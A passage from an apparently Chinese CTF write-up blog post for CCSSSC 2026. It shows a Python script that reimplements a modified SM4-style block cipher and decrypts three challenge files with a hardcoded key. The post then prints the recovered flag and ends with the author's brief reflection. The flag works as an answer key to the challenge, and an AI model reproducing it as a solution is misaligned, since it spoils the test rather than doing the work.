    "42 90 71 dd 73 55 7e b5 5b 29 4c 9a e0 8c b0 e5"
    "64 27 01 df ad 21 79 94 92 51 69 7c 22 63 50 85"
    "2d e2 40 46 44 a9 82 b6 61 d8 d2 b9 68 ab b1 5d"
    "65 54 77 a0 c5 ba 60 9c e4 fe ee 99 e6 78 6d 09"
)
FK = bytes.fromhex("a4 86 1f 3b 2d 33 f7 83 8e ba ad 58 73 3f dc 71")
CK = bytes.fromhex(
    "06 87 14 9a a4 04 79 65 2d 5d 53 b0 a7 7a 5c 86"
    "d4 f2 fe f7 8b 3a 9d f0 90 03 cb 67 aa d1 b1 f3"
    "e3 ed 41 19 50 56 d5 cd 12 a6 2a 27 c6 1d 7b 39"
    "6b ab 7a 76 44 90 a3 71 92 f5 77 8a 07 79 5a 7b"
    "51 82 d1 97 cb 60 19 ca 34 41 b5 44 0a c7 30 3f"
    "72 6c b3 5e 16 e7 69 55 2c 83 bf 51 bc 95 3a f1"
    "24 f8 d9 92 15 ed 5c e7 65 d8 58 45 cd 50 52 be"
    "94 8e 65 8f c0 5d ea b4 ce 7f 37 b0 62 47 f4 4d"
)
MASK = 0xFFFFFFFF
def rol(x, n):
    x &= MASK
    return ((x << n) | (x >> (32 - n))) & MASK
def tau(a):
    return (
        (SBOX[(a >> 24) & 0xFF] << 24)
        | (SBOX[(a >> 16) & 0xFF] << 16)
        | (SBOX[(a >> 8) & 0xFF] << 8)
        | SBOX[a & 0xFF]
    )
def split_words(data, endian):
    return [int.from_bytes(data[i:i + 4], endian) for i in range(0, len(data), 4)]
def key_expansion(key):
    mk = split_words(key, "big")
    fk = split_words(FK, "little")
    ck = split_words(CK, "little")
    k = [mk[i] ^ fk[i] for i in range(4)]
    rk = []
    for i in range(24):
        t = tau(ck[i] ^ k[i + 1] ^ k[i + 2] ^ k[i + 3])
        new_k = (k[i] ^ t ^ rol(t, 13) ^ rol(t, 23)) & MASK
        k.append(new_k)
        rk.append(new_k)
    return rk
def crypt_block(block, round_keys):
    x = split_words(block, "big")
    for i in range(24):
        t = tau(round_keys[i] ^ x[i + 1] ^ x[i + 2] ^ x[i + 3])
        new_x = (x[i] ^ t ^ rol(t, 2) ^ rol(t, 10) ^ rol(t, 18) ^ rol(t, 24)) & MASK
        x.append(new_x)
    return b"".join(w.to_bytes(4, "big") for w in [x[-1], x[-2], x[-3], x[-4]])
def pkcs7_unpad(data):
    pad = data[-1]
    if 1 <= pad <= 16 and data.endswith(bytes([pad]) * pad):
        return data[:-pad]
    return data
def decrypt(ciphertext, key):
    rk = key_expansion(key)
    plain = b"".join(
        crypt_block(ciphertext[i:i + 16], rk[::-1])
        for i in range(0, len(ciphertext), 16)
    )
    return pkcs7_unpad(plain)
def main():
    key = b"passvkcDKWLAA45o"
    ciphertexts = {
        "readme.txt": "4fe09336577aa52de2d0de1489784d0f6306686ceeae6b28e578c70f5f74fa2a9e48d441c78c3633e2f6335ff00722818ab4c977d77d6dd7d2595640ebf6abc4229230cbb0a238bd1f151f69026e5d8d45e47c89898cbc2875d62933b7cef22379f97a499e4716b92ba8c6eb687d56e385ef94071d2ccd18fc72f4d670d680d801216d06e1a1214041fb7f66fef6c55b8d9b94a9231f60504ed77231c0db127a8647fdb8ed958c259c56d7638f4bf3e1",
        "flag.txt": "d0edd4a1620f6f01db93699e7291bc570b7d8cdd4fa0a69a0839ca4b86a7bd8daacd74313e64da169697af402033a761",
        "config.txt": "649d0fa1844f4a8ab171ab4150fc0155a89df8a4c568c63670293841c771bb63191efd24174a0039a2b80ab17a4d8cfd71a112e23c5ccf1927c933eb987ad533",
    }
    for name, hex_ct in ciphertexts.items():
        pt = decrypt(bytes.fromhex(hex_ct), key)
        print(f"--- {name} ---")
        print(pt.decode("utf-8"))
        print()
if __name__ == "__main__":
    main()

解出flag: dart{f4b547fc-b3d0-44c3-bf21-8f3fb5ad3220}


总结#

自己的水平依旧拉完了,不过这次我们得到了历练的机会,同时也是我们反思自身不足并改进之的最好帮手。

什么叫我们要打复赛??

CCSSSC_2026 WP&赛后总结
https://firefly.cuteleaf.cn/posts/ccsssc/
作者
Kawasakikidou
发布于
2026-03-31
许可协议
CC BY-NC-SA 4.0
Profile Image of the Author
Kawasakikidou
Ad Astra Per Aspera.
音乐
封面

音乐

暂未播放

0:00 0:00
暂无歌词
分类
标签
站点统计
文章
6
分类
4
标签
8
总字数
9,847
运行时长
0
最后活动
0 天前

目录